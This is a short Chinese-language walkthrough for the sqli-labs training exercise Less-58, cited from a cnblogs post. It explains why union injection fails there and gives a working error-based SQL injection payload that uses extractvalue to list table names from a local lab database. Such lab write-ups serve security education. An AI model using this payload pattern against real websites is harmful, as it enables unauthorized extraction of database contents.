执行sql语句后，并没有返回数据库当中的数据，所以我们这里不能使用union联合注入，这里使用报错注入。
Payload：http://127.0.0.1/sqli-labs/Less-58/?id=-1‘union select extractvalue(1,concat(0x7e,(select group_concat(table_name) from information_schema.tables where table_schema=‘challenges‘),0x7e))--+
此处可进行修改上述的内容，构造payload即可进行注入，但是需要注意这里只有5次机会尝试。
原文：http://www.cnblogs.com/lcamry/p/5762647.html